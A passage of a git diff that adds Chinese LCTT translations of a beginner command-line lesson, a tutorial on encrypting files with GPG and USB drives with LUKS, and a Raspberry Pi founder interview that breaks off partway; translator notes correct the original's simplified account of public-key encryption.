原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://sysadminday.com/ +[2]:https://coreos.com/releases/#367.1.0 +[3]:https://coreos.com/products/managed-linux/ +[4]:https://coreos.com/using-coreos/updates/ +[5]:https://coreos.com/docs/cluster-management/setup/switching-channels/ +[6]:https://coreos.com/products/managed-linux/ diff --git "a/published/201407/Command Line Tuesdays \342\200\223 Part Five.md" "b/published/201407/Command Line Tuesdays \342\200\223 Part Five.md" new file mode 100644 index 0000000000..ce914b0f54 --- /dev/null +++ "b/published/201407/Command Line Tuesdays \342\200\223 Part Five.md" @@ -0,0 +1,65 @@ +命令行星期二——第五部分 +========================================================= +对,你也许已经猜到了又是我们相见的时候了。这一次我们将会学习如何使用命令工作。因此,事不宜迟,我们直入正题吧。 + +肖茨先生指出,到现在为止,我们学习了一些神奇的命令及其参数和选项,而今天正是我们揭开他们那神秘面纱一角的一天。我们将会学习如下的一些命令及其作用:type, which, help和man。但是在此之前,我么先学习一下—— + +###什么是命令?### + +我们可以将**命令**分为四个种类。 + +**1)可执行的程序:**命令可以是一个可执行程序。如果你在前面的课程中有遍历过你的系统,这也是你应该做的。你也许已经发现了/user/bin这个目录,你看到很多的像transmission-gtk, deluge-gtk等的名字。对我们新手来说,现在这些可以编译成二进制文件或者用脚本语言编写的可执行程序具体是什么并不太重要。重点是,他们是可执行文件,你可以运行它们。找到/user/bin这个目录,列出里面的文件,随便挑一个去运行它。 + +**2)shell内置命令:** bash提供了一系列的shell内置命令,例如,cd命令就是一个shell内置命令。 + +**3)shell函数:**内置于系统环境中的小型的shell脚本。现在我们简单的提及一下它,因为在后面的几个星期中我们将要学习它。 + +**4)别名:**你可以基于其他命令定义你自己的命令。我们也会在后面的课程中学习到。 + +现在,知道我们要处理的命令的哪一类是有意义的。我们可以使用**type**命令查看。 + +###type### + +你可以使用**type + command**来查看你要使用的命令属于什么类型。你只要输入type command就可以得到命令类型的输出,如下: + +![type mkdir](https://news.opensuse.org/wp-content/uploads/2014/07/Zaslonska-slika-2014-07-15-091448.png) + +或者 + +![type ls](https://news.opensuse.org/wp-content/uploads/2014/07/Zaslonska-slika-2014-07-15-091640.png) + +从上面例子可以看出‘ls’命令实际上是‘\_ls’的别名。(LCTT译注:不同机器上的别名定义可能不同,比如RedHat/Centos系列上,ls实际上是‘ls --color=auto’的别名,而这个‘\_ls’想必是openSUSE上的情况。) + +###which### + +有时(虽然在桌面系统中很少会出现这种情况),在一台机器中存在一个可执行程序的多个版本。为了找到某个可执行程序的准确位置,我们可以使用which命令。which命令只对可执行程序有用。 + +![which transmission-gtk](https://news.opensuse.org/wp-content/uploads/2014/07/Zaslonska-slika-2014-07-15-092052.png) + +如今,多数的命令都会附带说明文档,因此,当你在没有网络的的情况下使用命令行时,你不能在论坛或者IRC上提问,但是你又必须要知道某个命令的准确用法。此时你有两种解决方法,第一个是—— + +###help### + +help命令对shell内置命令有用(在上面的第二类中我们有提到过)。所以,你可以选择一个shell内置命令为例,如cd,简单的输入help cd即可。你会得到一个有用的页面,去试一下看cd为我们提供了什么功能。该页面列出了该命令的用法和可选项(选项列在方括号中,表明它们是可选的,如果方括号中有垂直分隔符分隔某些选项,则这些选项是互斥的,不要同时使用他们!) + +###--help### + +(LCTT译注:Linux上的命令中,通常单字符参数前使用一个破折号,而多个字符的长参数则使用两个破折号,原文此处用的是“-help”,实际上这种情况很少,所以修正为“--help”) + +help只对shell内置命令有用。但是很多的可执行程序有--help选项。其作用类似于help命令,但是你必须在你要查看帮助的命令后输入 --help。例如,transmission-gtk --help。试一下看在改该可执行程序中有什么可选项可以使用。 + +###man### + +多数的可执行程序都提供一个正式发说明文档。你可以使用man命令查看这份说明文档。试一下只输入man program,看有什么输出。在你的系统中随便找一个程序去尝试一下。例如,我们试一下man transmission-gtk。你会打开了一个由目录分割的文件。这个文件包含该程序是什么、做什么和你可以怎样去使用它等的信息。但是这个文件并没有提供使用范例,因为它不是一个指导手册。(LCTT译注,man里面有时候也会带有一些范例,但是往往不会很详细,另外还有一个info命令,通常能得到更多的使用帮助。不过真正理解每个命令的各种用户,还是要多查阅各种资料,并亲自试验才行。) + +这周我们就到先讲这里了。 + +我想再花一分钟来感谢大家对本节的建议和贡献。是你们让这个系列的文章变得越来越好,我希望在你们的帮助下,我们这些新用户在夏季结束前可以使用基本的命令行工具。你们是最棒的。像我一样的新用户们,我们都会感到失落,坚持到底,我们的付出总会有回报的! + +-------------------------------------------------------- + +via: https://news.opensuse.org/2014/07/15/command-line-tuesdays-part-five/ + +译者:[cvsher](https://github.com/cvsher) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201407/Encrypting Your Cat Photos.md b/published/201407/Encrypting Your Cat Photos.md new file mode 100644 index 0000000000..9e80a36d30 --- /dev/null +++ b/published/201407/Encrypting Your Cat Photos.md @@ -0,0 +1,144 @@ +给猫咪照片加密 +================================================================================ +事实上,我的硬盘上不存在那种不愿意被别人看到的东西,只存有一些猫咪的照片、一些记录着想写的书的想法的文本文件,或者是一些短篇故事的文本,也有一些写了一半的 NaNoWriMo 小说文件。简单的说,我的硬盘就没有加密的必要,因为没有什么可隐藏的。可问题是,我们错误的把“隐私的渴望”跟“要隐藏某东西”两概念混淆在一起。比如说我生活的美国,我们视隐私权利是理所当然的事,但不包括那些传统所认为的“某人的隐藏色情或炸弹”。隐私考虑的是一些平常的事情。 + +我居住在密歇根州。这儿的冬天很冷,我趋向于把温度设置在华氏 75 度左右。对您们来说这个温度可能高了,但在我的家里刚好合适。多亏我的家是属于私有的,我的邻居不可能知道我们保持了这么高的温度,否则一但他们看到冬天如此“浪费”能源的家庭,这些邻居心里会很不平衡的。事实上,本地条规中有一条明确指出任何超过华氏 60 度的就算是生态浪费。我并不想与这种僵老的条例较真,所以我仅仅想保守我们舒适的房子的秘密。我们并不想隐藏任何事情,但也并不是任何事情都要让外人知道。 + +很明显,我举的例子有点弱智,但我希望的是这能引起大家的思考。现代的 Linux 系统很容易的就可以对我们的数据进行加密,并且很可靠,所以为什么不好好利用利用呢? + +### 加密原理? ### + +我不会涉及太多关于加密原理的细节,但要明白最基本的原理,即使是最简单的实现,这是必须的。要加密和解密一个文件,需要两把“钥匙”。一把是私钥,正如名字所示,属于私有的。我宁愿把私钥看作是真实的钥匙——你想要多少就可造出多少,但这样做是不明智的。同样的,私钥你造的越多,某些不怀好意的人得到其中一把的机率就越大,他们就会闯入你的公寓(额,我的意思是指那些文件)。 + +公钥更像是锁的样子,只有你能(用你的私钥)打开此锁。这公钥任何人都可以得到,你可以将它张贴在网站上、把它放在你的 E-mail 中、甚至纹在你的背上。其它人想创建一个只有你能访问的文件,就可以使用此公钥来加密。 + +这种一对多(LCTT译注:指别人可以加密多个文件,而只有你的一个私钥才能解密)的情况也有个很酷的副作用。如果你用你的私钥来加密一些东西,任何人都可以用你提供的公钥来解密它们。这听起来很傻,但这种情景很有用。虽然加密的文件不能免于被窥视,但是它能保证此文件确实来自于你而没有被恶意改动过。用你的公钥能解密的文件仅仅只能是用你私钥加密过的。用这种方式,用私钥加密的文件即是数字“签名”文件。(LCTT译注:既然是任何人都可以用公钥解密,其实加密没有意义,相反,仅仅用你的私钥做一个签名指纹,别人只需要用你的公钥来验证该签名是否一致即可判断是否来自你。) + +(LCTT译注:其实本文此处所述的加密解密、签名校验等原理不完全正确,和实际的非对称加密情形有所差异,不过比较容易理解和类比。) + +#### 通用加密步骤: #### + +1. 你有一个文件想要发送给苏茜 ,所以你得使用苏茜的公钥来加密,这样就只有 苏茜才能打开这个文件,但苏茜没有办法知道是谁给她发送的文件。因为任何一个人都可以用她的公钥来加密文件。 +2. 因此,你得把你的文件用苏茜的公钥和你的私钥都加密。苏茜将不得不解密两次,但她知道它是来自于你的文件。(LCTT译注:实际上应该是用你的私钥要做签名,生成一小段签名指纹,而不是对已经加密的文件再次加密。) +3. 苏茜接收到此文件后会用能证明来自于你的公钥来解密第一层。(LCTT译注:校验签名,确认来自你的私钥的签名正确。) +4. 然后用她的私钥来解密第二层的密码,这是唯一的能够将原始文件进行解密的钥匙了(因为你是用她的公钥来加密的)。 + +当然,这情景就是用来安全传输文件的加密手段。这也是加密你的文件(或者分区)相当常用及简单的方法。就让我们开始来对文件进行加密吧,因为大多数人都想加密他们的系统。 + +### 始于简 ### + +在深入更复杂的各种加密设置操作前,我们先做简单的对文件加密例子。能处理加密的应用程序有很多很多,事实上,对文件和系统进行加密的各种可用软件选择,很容易就会让我们变得焦头烂额。现在,我们就使用一款很基本的(但非常强大)命令行工具来对文件加密。 GPG (英文名:Gnu Privacy Guard)是一款对商业软件 PGP(英文名:Pretty Good Protection)的开源实现软件。它具有加密、签名及管理多个密钥等功能。用例子说明,让我们简单的加密一个文件吧。 + +我们假设你有一个名叫 secret_manifesto.txt 的文件,它包含有关于生命、宇宙及一切事物的秘密。使用 GPG,你只需要一个密码就可以加密此文件。使用密码远比使用公钥和私钥对简单,因为它只是用你的密码加密。虽然这比较容易让你的文件遭受到破解(比如使用彩虹表或其他黑客工具暴力破解),但像它的名字中所宣称的:这是相当不错的保护。要加密你的文件,可以这样做: + + # gpg -c secret_manifesto.txt + Enter passphrase: + Repeat passphrase: + +一但完成,在相同的目录下就会多出个新的文件,它默认的名字是 secret_manifesto.txt.gpg 。这是一个二进制文件,这意味着它真的比较小,但是要将其内容拷贝/粘贴到电子邮件(e-mail)或 即时消息(IM) 就不可能了(LCTT译注:当然你可以使用附件方式。)。要使其便于拷贝等操作,可以添加 -a 标志,这将创建一个只包含 ASCII 码文本的加密文件: + + # gpg -a -c secret_manifesto.txt + Enter passphrase: + Repeat passphrase: + # ls -l + -rw-rw-r-- 1 spowers spowers 6 Nov 23 1:26 secret_manifesto.txt + -rw-rw-r-- 1 spowers spowers 174 Nov 23 1:27 secret_manifesto.txt.asc + -rw-rw-r-- 1 spowers spowers 55 Nov 23 1:26 secret_manifesto.txt.gpg + +注意到现在多了一个以 .asc 为扩展名的文件。它是个纯文本文件,从上面的代码段示例可以看到它比二进制的加密文件还大,当然比原文本文件就大的更多了。一但你把文件加密了,也确实想要对些信息保密,最明智的就是把原文本文件删除掉。(LCTT译注:千万记住密码啊,否则谁也帮不了你了——你得自己破解自己的密码啦:>) + +要解密文件,你需要再一次使用 GPG 程序。不管是二进制的还是 ASCII 文件,使用相同的命令就可以解密。如下所示: + + # gpg secret_manifesto.txt.asc + gpg: CAST5 encrypted data + Enter passphrase: + gpg: encrypted with 1 passphrase + File `secret_manifesto.txt' exists. Overwrite? (y/N) + +注意到上面的例子中,我没有删除源文本文件,所以 GPG 给出了是否覆盖选项提示。一但操作完成,我的未加密的源文件又回来了。如果你仅仅只有一两个文件要保护,那基于命令行的 GPG 程序正是你所需的。但如果你想实现在系统上指定一个区域,任何保存到这区域的的文件都会自动加密的话,就有点复杂了。可这也并不是非常的困难,让我们用一个非常简单的示范例子来讲解吧。 + +### 加密 USB 驱动盘 ### + +如我前面提到的,要加密有很多可选的方式方法。加密磁盘分区最通用的一种方法是 LUKS(Linux Unified Key Setup) 系统。一个使用 LUKS 格式化分区的 USB 驱动盘可以被大多数系统自动识别到。实际上,如果你使用的是像 Ubuntu 桌面这样的桌面环境系统的话,加密 USB 驱动盘其实就是在格式化过程中简单的勾选上一个复选框而已。虽然这是加密 USB 盘最容易让人接受的方式,但我还是想演示如何在命令行下进行加密,因为这种方式可以让你明白在加密的后面具体发生了什么。 + +#### 步骤 1: 识别您的 USB 驱动盘。 #### + +在您插入 USB 驱动盘后,如果在终端输入 `dmesg` 命令,将会显示出所有的系统信息,包括刚插入的 USB 驱动盘的设备名字。 确保设备标识是正确的,因为后面要进行的操作会破坏驱动盘上的所有数据。您也不想一不小心就格式化掉正常的磁盘吧。(虽然不用提醒,但我还是要说,确保您的 USB 驱动盘已经没有你想保留的数据,因为这是一个破坏性的过程。) + +#### 步骤 2: 对 USB 驱动盘进行分区。 #### + +假设,在您的系统上 USB 驱动盘是 /dev/sdb 这个设备,您需要在这个驱动上创建一个单分区(LCTT译注:设备是sdb,其上可以有多个分区,分别叫sdb1、sdb2等等)。我们使用 fdisk 命令。下面是 fdisk 必须的交互操作。一般地,用 o 命令来创建一个新的空分区,然后用 w 命令来保存设置。然后重新运行 fdisk 命令,并用 n 命令来创建一个新的主分区,接下来保持默认的以使用整个设备空间: + + # sudo fdisk /dev/sdb + + Command (m for help): o + Building a new DOS disklabel with disk identifier 0x1234567. + Changes will remain in memory only, until you decide to write them. + After that, of course, the previous content won't be recoverable. + + Command (m for help): w + The partition table has been altered! + + # sudo fdisk /dev/sdb + Command (m for help): n + Command action + e extended + p primary partition (1-4) + p + Partition number (1-4, default 1): 1 + Using default value 1 + First sector (2048-1016522, default 2048): + Using default value 2048 + Last sector, +sectors or +size{K,M,G} (2048-1016522, default 1016522): + Using default value 1016522 + + Command (m for help): w + The partition table has been altered! + +现在你的 USB 驱动盘有了一个单分区了(/dev/sdb1),但还没有文件系统,这正是我们所想要的,因为 LUKS 系统需要在创建文件系统前在您的分区上创建一个加密层。因此,在创建文件系统之前,就让我们在分区上先创建一个 LUKS 层吧,可以使用 cryptsetup 程序。如果您还没有安装 cryptsetup 的话,可以搜索您系统发布版本的仓库源,里面就有。下面就开始创建 LUKS 加密分区层: + + # cryptsetup luksFormat /dev/sdb1 + + WARNING! + ======== + This will overwrite data on /dev/sdb1 irrevocably. + + Are you sure? (Type uppercase yes): YES + Enter LUKS passphrase: + Verify passphrase: + +按照提示的操作,一定要确保记得您的密码!注意,这儿的“密码单词”不仅仅只表示一个单词。这只是一个习惯,因而得名,设置的越长越复杂,越难被破解。 + +一但上面的操作完成,就创建好了一个加密的分区,但它还没有被挂载或格式化。要做的第一步就是挂载分区,可以再一次使用 cryptsetup 工具: + + # cryptsetup luksOpen /dev/sdb1 my_crypto_disk + Enter passphrase for /dev/sdb1: + +当输入完密码后,您输入名字的设备就会像虚拟硬盘一样被挂载上。通常,它挂载在 /dev/mapper/设备名 的目录下,所以这个例子所示的分区就挂载到了 /dev/mapper/my_crypto_disk 目录。 + +现在这个设备就可当做未加密的卷来访问了。 只要它一被挂载,就跟其它未加密的卷是一样的了,这就意味着您想要使用它的话就需要先建立文件系统: + + # mkfs.vfat /dev/mapper/my_crypto_disk -n my_crypto_disk + mkfs.vfat 3.0.9 (31 Jan 2010) + +现在磁盘的功能完备了,可以像其它磁盘一样正常挂载使用了。实际上,如果你使用的是现代的图形用户界面系统的话,只要你把 USB 驱动盘一插入计算机,将会提示您输入密码,然后就自动挂载上了。退出的时候跟普通盘一样,里面存储的数据会被加密,直到下次输入密码。在命令行里使用 cryptsetup 卸载以及重加密驱动盘也是很简单的: + + # cryptsetup luksClose my_crypto_disk + +### 这仅仅只是冰山一角 ### + +写这篇文章,我的目的是希望剥开加密后面的秘密。加密和解密单个文件很简单,要加密整个 USB 驱动盘也不是太困难(如果使用的是图形用户界面工具就更容易了)。对于大多数系统的发布版本来说,在安装过程中就可以对整个 home 目录进行加密。加密是对您的整个 home 目录起作用,然而有些问题就需要特别处理了。例如,您没登陆时就运行的任务在大多数情况下是不会访问您的 home 目录的,但如果您有调度任务需要访问 home 目录的话,应该进行修改,让其访问系统中其它目录的数据。我觉得在安全和便利之中平衡的中庸之道还是加密 USB 驱动盘,然后在上面存储个人资料。 + +我必须警告您,一但您考虑到安全的问题,就会想要把任何东西都加密起来。这不是什么坏的事情,但是像要对 home 目录加密这种情况,是会碰到一些问题的。如果您使用不同系统的话,跨平台访问也是个大问题。像这种情况,我强烈建议您使用 [TrueCrypt][1]。在前期的文章片段里我提到过 TrueCrypt,它是一款开源的,跨平台的加密系统软件。可以对文件、文件夹、分区等等进行加密,同时可以在任何系统中访问加密的数据。像 Windows、Mac 及 Linux 客户端都可以使用。社区也有大力的支持。(LCTT译注:悲惨的是,棱镜门事件之后,TrueCrypt的作者已经放弃了该产品,并且强烈建议大家也不要使用,具体可以参考本站的一些相关消息。所以痛失TrueCrypt之后,我们还有哪些替代品?) + +希望对文件进行加密的目的并不是为了隐藏某些东西。就像即使您有个好邻居,最好夜里也得锁门一样,对您的个人数据进行加密也是个很正常的举动。如果您想在网上与大家分享你的 Whiskerton 先生戴着可爱的小豆豆帽子的照片的话,这是您的权利。但其它的人,比如他们索检你硬盘的时候,就不需要让他们看到了。 + +-------------------------------------------------------------------------------- + +via: http://www.linuxjournal.com/content/encrypting-your-cat-photos + +译者:[runningwater](https://github.com/runningwater) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.truecrypt.org/ \ No newline at end of file diff --git a/published/201407/Raspberry Pi s Eben Upton--How We're Turning Everyone Into DIY Hackers.md b/published/201407/Raspberry Pi s Eben Upton--How We're Turning Everyone Into DIY Hackers.md new file mode 100644 index 0000000000..5953df559e --- /dev/null +++ b/published/201407/Raspberry Pi s Eben Upton--How We're Turning Everyone Into DIY Hackers.md @@ -0,0 +1,192 @@ +树莓派的联合创始人访谈——我们是怎么让大家都成为DIY黑客的 +================================================================================ +> 请记住它是为喜欢折腾的人准备的只要35美元的计算机 + +![](http://a2.files.readwrite.com/image/upload/c_fill,h_900,q_70,w_1600/MTIyMjkzMzI3NjMzNjA3OTYx.jpg) +我永远不会忘记我第一次看到树莓派的情形。那个小巧的,信用卡大小的计算机,性能却足够强劲,可以作为一般家用PC,媒体中心,电视游戏机,或是其他任何你能够想像的东西。只有35美元的价格,它是任何年龄段的动手爱好者都可以拥有的小东西,可以在上面捣腾硬件和软件试验,而不用担心会弄坏昂贵的家庭电脑。 + +[Eben Upton][1],是树莓派基金会的共同创始人,通常被誉为这个神奇机器背后的魔法师。在剑桥大学的计算机实验室攻读哲学博士学位的时候,他费尽苦心地手工打造了树莓派的原型机。 + +如今,Upton是树莓派基金会下面贸易公司的CEO,监督着树莓派的生产和销售,目前销量已经达到250万台。 + +### 天上的派 ### + +ReadWrite网: 一开始是什么让你对技术这么感兴趣?它又是如何偶然地引导你创建树莓派项目的? + +**Eben Upton**: 在我还是孩子的时候就开始对技术感兴趣了。我有个对工程技术有很大兴趣的父亲,他自己不是工程师,而是一个英语老师。我们的房子里经常到处堆着各种电子器件,在还不知道这些东西是干嘛的时候,我就开始摆弄了。都是些小玩意,比如在床头装个灯,在“关灯”后还可以继续看书之类的。 + +![](http://a5.files.readwrite.com/image/upload/c_fit,q_80,w_630/MTIyMzAxOTQxOTk1ODI2NDU3.jpg) + +之后我有了一台计算机。在英国,我们把这种机器叫做[BBC微计算机][2],实际上是8位单片机,做教学用的。我们在学校的时候接触到这种机器,我之后就学会了编程,而且还蛮喜欢的。 + +这些机器在学校里并不一定是用来编程的,或者说他们根本不是用来编程的,一般都运行教学软件。但是我却给它编程,之后我还买了一台回家,在我买了这台BBC微机后,我就泡在了房间里,再没出来过。[笑] + +编程对于小孩来说太神奇了。当你还是小孩的时候,并没有太多力量。没有听话的随从,反而身边有很多的限制。编程最伟大的地方在于,这是一个可以让你随心所欲的小世界。而这当然让我无法抗拒。 + +我一直都对科学和数学,以及理科感兴趣。我在我的BBC微机上做了大量的计算和编程,之后我拥有了一台Commodore Amiga。 + +在大学里我学习了物理,工程和计算机科学。这是激发树莓派项目想法的原因,因为当我在学校呆了10年的时候[当时在读博士学位],我发现那些新来的孩子们在他们小时候并没有机会获得这方面的经验。你也许仍然能拥有乐高玩具,但是它不是我们要的梯子。 + +在一定程度上我们把身后的梯子撤掉了。我们造出了这些非常复杂而且用户友好的计算机给小孩使用,或者不仅仅是计算机,还包括电视游戏机,电话和平板,以及一些家用电器。但是,人们却没有机会自己动手改一改。所以实际上,树莓派是回到最初的一种尝试,当然也不会过于原始,希望找到在过去25年里计算机发展中迷失掉的那种感觉。 + +**RW:** 你需要克服的最大的障碍有哪些? + +**EU:** 好吧,我们没有任何投资者,当然这也是一件好事情。我们从2006年就开始尝试做这件事情,你可以看到它花了我们很长时间才把树莓派从一个想法变成一件能卖的东西。在价格和性能之间或是价格和可编程性之间找到平衡,是一件很重要的事情。 + +另外一件麻烦事是募集资金。我们是非营利组织,所以我们得去找人赞助,而这最后都变成了董事会中的几个人自掏腰包。我们有25万美元的启动资金是从我和其他几个成员自己借的。所以我觉得,当初这样做还挺有勇气。 + +![](http://a4.files.readwrite.com/image/upload/c_fit,q_80,w_960/MTIyMzAxOTQzODc0ODgwMTAy.jpg) + +### 从东方到西方 ### + +为了找到价格合适的生产方式,我们选了一条不同寻常的路线。通常人们生产更传统的产品时,当量不大的时候都会选择在本地生产,然后[制造商]再制定较高的价格。大多数都能获得比树莓派丰厚的利润。 + +所以他们开始会在西方生产。然后,为了追求更高的利润,当产品有一定的量就会想减少生产成本,所以转到远东地区。 + +我们的问题是,因为我们没有足够的利润来支撑这种模式的订单,所以我们在中国制造了第一批产品。当然一开始会有一点不好的预感。我一点也不了解中国制造,最后,我们把价值5万美元的芯片和5万美元现金交给一个香港人,他需要还给我们2000片可以工作的树莓派。 + +之后交期出现了延时,我们甚至都开始相信自己被骗了。然后终于有一天,现在250万台树莓派中最早的2000台放在托板上来到了门口。 + +那个UPS快递员从卡车里拖出一个托板,并拉到我们车库里。托板上放着2000台树莓派,它们中每一台都比我小时候用过的计算机强多了。我们随机抽查了几台,都可以完美地工作。 + +所以我觉得还挺幸运,中国你懂的。然后我们的产品终于开始有量了,我们选择了跟其他所有人不同的方向。我觉得这是这个项目中的另一个决定性时刻,我们认识到,以目前的订单量,我们可以用和在中国同样的成本在西方生产。所以我们可以回归,把所有的生产制造搬回威尔士,也是我出生的地方。像是一个美妙的圆圈。 + +**RW:** 有没有一些树莓派的前身没有被制造出来的? + +**EU:** 有的,我们做了许多不同的原型机。我们希望做出一个可以编程,也能吸引小朋友兴趣的东西。“吸引小朋友兴趣”意味着,在某些方面要足够强大。比如,播放视频,玩游戏,以及上网。 + +我们有许多能够达到价格目标和可编程目标的原型,但是等我们确定一个合适的方案,它足够强大能够吸引孩子们的热情,已经挺晚了,都到2010年底2011年初了。 + +### 派是从哪儿烤好的 ### + +**RW:** 跟我们说说发明树莓派的故事 + +**EU:** 我们尝试过基于所谓的微控制器技术做了几台机器。不知道你有没有听过一个叫Arduino的[开源电子原型]平台?它们的性能跟Arduino是一个级别的,优点是很容易买到,是常用的元器件,非常便宜,也很容易掌握。 + +![](http://a2.files.readwrite.com/image/upload/c_fit,q_80,w_630/MTIyMzAxOTQ1NzU0MDUzOTEz.jpg) + +所以我们试了一下。最后的成品只能从技术上来说还是计算机,你可以把它接到电视机或其他显示设备上。但是,它太原始了,很明显不能吸引孩子们的兴趣。这个是一号原型机,它在爱尔兰一家博物馆的叫“失败”的展览中展出[笑]。我下个月会去看看。它现在被装载一个玻璃盒子里,作为一次辉煌失败的典型。 + +好的一面是它是手工制作的,你不可能手工制作一块现代的树莓派。但是,这个原型太原始了,你实际上可以把所有器件手工焊接到一起,它就是我一个星期里做好的,是个挺好的小玩具。 + +我在大学里呆了差不多10年以后,进入到一家叫Broadcom的公司工作,总部在南加利福尼亚但是在剑桥有个大办公室,主要生产手机芯片。然后,我意识到这种手机芯片非常适合,它是制作像派这样的设备的非常合适的平台,因为它有优秀的图形性能。 + +我基于Broadcom开发工具制作了一个原型。这次的原型非常强大,也有更多功能,价格也差不多。不过问题是,它有一套定制的开发环境,而不是一个标准的平台。 + +我们得写自己的SD卡驱动,自己的文件系统,自己的文本编辑器。你会发现你得做大量基础工作,虽然最后你能够得到一个强大的可编程的平台,但是它却是完全非标准的[而且]和其他设备完全不一样。从而无法重用那些已经在台式机系统中已经做过的工作。这个是二号原型机。 + +真正的突破是三号原型机。我们从Broadcom拿到了另一种应用了ARM处理器的芯片,可以直接运行标准Linux。我们意识到终于可以做出能够满足所有的需求的机器了,这就是我们推向市场的产品。 + +### 黑一黑下一代黑客 ### + +**RW:** 八岁的孩子就开始用树莓派做项目了。这在你意料中吗,还是说让你意外了? + +**EU:** 八岁是很好的年纪。我想每个人都会把自己开始编程的年龄定义成合适的年龄。我就是八岁开始编程的。某种程度上来说,孩子们所需要的只是年龄大到拥有相对完整的认知技能,或者说是解决问题的技能。也许在学校学一点数学就够了。 + +![](http://a2.files.readwrite.com/image/upload/c_fit,q_80,w_630/MTIyMzAxOTQ3MzY0NTQxMDMw.jpg) + +年龄大到可以计划任务,编程就是终极的计划任务。还是得有一定的智力基础去做这个事情。八岁的时候,大多数孩子在自己的思维上已经非常成熟了。另外还需要敏捷的身手,对更小的孩子来说还存在一个问题就是,他们还不够灵巧去使用键盘。 + +所以说,八岁是很好的年纪。你有合适的身体,有合适的心智,而且还处于生命中能轻松学习新知识的时候。你的大脑还具有非常大的可塑性,可以学习语言。。。 + +我的意思是,你要是想让你的小孩学习法语的话,八岁就开始教他,不要等到16岁才开始。正式的计算机教育有一个历史性的缺点,就是太晚开始了,然后就很惊讶为何学生们理解起来概念有困难。所以我认为越早接触越好,而八岁是奇妙的年纪。八岁,十岁,十二岁,十二岁可能都有点晚了。 + +我们基金会的CEO,[Lance][3] [Howarth],对初级教育特别热心。他真的认为这是一个实际的机会来做点非常特别的事情。 + +**RW:** 所以这是树莓派项目的目的,让小孩子们编程? + +**EU:** 我想我们一直认为可以让孩子们玩编程只是举个例子。但是树莓派的目的是把这个东西做出来看看谁会买它。我们一直相信至少有一部分年轻的孩子会觉得它令人激动。现在我们已经有知识宽度和规模来支持孩子们玩它了。 + +[仅仅]做出一个像树莓派的平台和提供相关支持是有很大区别的,如果只是做出来的话,你会发现有1%的八岁孩子会喜欢它并且玩起来,不管你提供多或者少的支持。 + +我觉得现在基金会的一个实际的机会是,我们已经可以承担得起开发教材了,我们还可以提倡培训这方面的教师。有个机会是我们可以吸引比1%更多的孩子。还有个机会是吸引那些没有独自处理复杂技术问题倾向的机灵小孩。如果能够提供良好的教程和让他们感兴趣的教材,就能够吸引10%,20%,50%,甚至更多的孩子。 + +我们认为80年代是[学习编程]的黄金年代,而实际上,只有很少一部分人学习编程并达到一定深度。大部分人也许可以写个几行,但是能够编写大型程序的还是很少见。 + +所以我认为我们目前有一个实际的机会,因为我们可以参与到教材和教师培训的级别,我们也许可以超越80年代。现在有更多的参与者,两性之间也更平等。在80年代,编程很大程度上是男孩们的事情,而这也能反映到我们的工程师社区构成上。我觉得现在有个很好的机会,让更多的女孩子接触电脑编程。这个是挂在枝头上垂得最低的果子了,做到这个,人数马上增加了一半。 + +机会有很多,我对树莓派最满意的地方就是我们已经有点规模可以吸引部分人的注意了。 + +### 每个人的派 ### + +**RW:** 关于像派这样的项目的潜在需求,对于你来说意味着什么?是不是有一天我们都会变成DIY黑客? + +**EU:** 是的,我意思是,就是这样的。有非常大的这种需求。而且我认为有一条通向制作者社区的纽带。美国的制作者社区比英国成熟多了。我们也确实在举办制作者集会和黑客空间,但是差不多比美国落后了5年左右。 + +所以在开始讨论树莓派之后我发现了一件事情,在它获得国际关注的时候,我们发现我们受到一些非常稳定的社区的成员的追捧,他们喜欢各种各样的DIY活动:编织,或者,你知道的,木工。 + +所以,这也是为树莓派带来意外增长的其中一个因素。制作者们把它当作用来构建自己项目的模块。这太棒了! + +**RW:** 你怎么看现在出现的主流硬件黑客文化? + +**EU:** 我觉得,这太美妙了,不是吗?这是在软件工程领域里完全无法想到的。我接触这些之前就有软件背景,所以,实际上人们用树莓派制作的大多数很酷的东西都是硬件相关的,让我很惊讶。当然现在没那么吃惊了,不过一开始是有的。 + +![](http://a3.files.readwrite.com/image/upload/c_fit,q_80,w_630/MTIyMzAxOTQ5NTEyMDI0Njc4.jpg) + +我认为这是非常积极的趋势,基于所有这些因素。因为它给孩子们带来了相关的经验。在我看来,在屏幕上移动一下像素还是很酷的,不过事实上,它没有像80年代那样酷了。我觉得,在现实世界里移动一些物体,比如机器人,对于现在的孩子来说是非常酷的。 + +当有更多实用性的时候,就会吸引更多的女孩。确实存在一种潜在趋势,尝试和设计针对女孩子的科技活动。不过实际上这并不是关于女孩子,而是关于扩展用户的迫切要求。 + +有这样一小段-我之前谈过的关于有1%的小孩会觉得抽象的计算机编程很有趣。“让我们开始学习变量!”我就是他们其中一个。但是,那只是很小一部分,而且看起来更大部分是男孩子。我不知道是不是文化因素或其他的,但是看起来这个世界就是这样的。 + +在人们谈论追求实用性来吸引女孩子的时候,根本不关女孩子的事。而是吸引那一小部分男孩之外的所有人。不仅仅吸引女孩,也包括其他男孩。 + +从教育的角度来看有一件美妙的事情是,在现实世界里应用计算机做点实际的东西,自然而然会比仅仅在计算机本身上面做点事情有用多了。所以,这就提供了一个方式来吸引女孩子进入这个领域,同样也可以吸引更多的男孩子进入这个领域。 + +不再是一个人很好。能够加入到这波兴趣的浪潮中,和许多制作现实世界东西的人一起,也是很精彩的事情。我认识一个南加利福尼亚的小伙,他有两个兴趣就是倒腾派和制作他的锁链甲。有人做这些事情本身就是一件很美妙的事情。 + +### 分享你的派 ### + +**RW:** 关于吸引比1%更多人的“实用”项目,能举个例子吗? + +**EU:** 整个机器人技术领域就是个很好的例子。有很多人基于派来制作小型机器人,让它们四周跑跑或做点事情。特别是现在,我们增加了摄像头模块,可以一定程度上实现计算机视觉。 + +我觉得其他基于摄像头的项目也会变得更活跃。那些从事野外摄影的人们,以及从事缩时摄影的人们,因为有了这个25美元的摄像头模块,应用范围宽了许多。还有红外版本的模块,所以你可以在晚上拍摄野生动物-写脚本在晚上拍摄相片,然后选择保存里面包含了动作的。这些都非常好。 + 